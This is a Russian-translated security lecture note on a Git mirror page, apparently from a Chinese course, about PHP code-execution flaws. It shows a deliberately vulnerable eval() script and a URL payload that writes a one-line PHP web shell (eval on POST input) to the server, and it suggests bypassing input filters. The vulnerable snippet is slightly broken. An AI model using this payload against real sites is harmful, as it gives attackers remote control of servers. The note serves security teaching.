1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/wizardforcel-mst-sec-lecture-notes

Присоединиться к Gitlife
Откройте для себя и примите участие в публичных проектах с открытым исходным кодом с участием более 10 миллионов разработчиков. Приватные репозитории также полностью бесплатны :)
Присоединиться бесплатно
В этом репозитории не указан файл с открытой лицензией (LICENSE). При использовании обратитесь к конкретному описанию проекта и его зависимостям в коде.
Клонировать/Скачать
漏洞篇 代码执行.md 4.2 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
gitlife-traslator Отправлено 27.11.2024 00:48 d9e190e

Основы

Поскольку разработчики не фильтруют специальные функции входа в коде, клиент может отправлять вредоносные команды, которые будут выполняться на сервере. Отсутствие фильтрации функций типа system, eval и exec в веб-сервере является основной причиной успешной атаки с внедрением команд.

Пример кода

<?php
// code-exe.php:
$code=@$_GET['code'];//http://localhost/subject/code-exe.php?code=
echo "<center>Payload:".$code."<br/>Result:</center>
eval($code);

Весь код состоит из трёх строк. Первая строка используется для чтения значения параметра code из URL-параметров. Вторая строка выводит значение этого параметра для проверки. Третья строка непосредственно выполняет этот параметр как PHP-код. Из-за отсутствия фильтрации возникает уязвимость выполнения кода.

Мы выполняем php -S 0.0.0.0:80 в каталоге этого файла, а затем обращаемся к http://localhost/code-exe.php?code=phpinfo(); и видим, что код выполнил функцию phpinfo:

Использование

Можно заменить значение параметра code в URL на другой PHP-код, чтобы выполнить различные PHP-команды. Ключевым моментом использования этой уязвимости является знание всех доступных PHP-команд.

Например, можно использовать phpinfo или echo для определения уязвимости. Самое главное, эту уязвимость можно использовать для записи веб-шелла, код которого выглядит следующим образом:

$file='mst.php'; // имя файла однострочного червя
$person='<?php @eval($_POST[1]);?>'; // код имени файла
file_put_contents($file,$person, FILE_APPEND | LOCK_EX); // если файл key.php не существует, он будет создан автоматически, иначе он будет добавлен

Нам нужно вставить эти три строки кода в URL, и полученный URL будет выглядеть так: http://localhost/code-exe.php?code=$file='mst.php';$person='<?php @eval($_POST[1]);?>';file_put_contents($file,$person, FILE_APPEND | LOCK_EX).

После посещения в текущем каталоге появится файл mst.php с содержимым <?php @eval($_POST[1]);?>, который представляет собой однострочный червь. Поскольку это не глава о инструментах, демонстрация с ножом здесь не приводится.

В реальном коде, конечно, невозможно, чтобы он был таким коротким, поэтому всем необходимо использовать eval и exec в качестве ключевых слов для поиска возможных уязвимостей. Кроме того, в реальном коде также возможно фильтрация перед выполнением $code, поэтому всем также необходимо проявить творческий подход, чтобы обойти фильтрацию и успешно использовать её.

Приложение

Опубликовать ( 0 )

Вы можете оставить комментарий после Вход в систему

1
https://api.gitlife.ru/oschina-mirror/wizardforcel-mst-sec-lecture-notes.git
git@api.gitlife.ru:oschina-mirror/wizardforcel-mst-sec-lecture-notes.git
oschina-mirror
wizardforcel-mst-sec-lecture-notes
wizardforcel-mst-sec-lecture-notes
master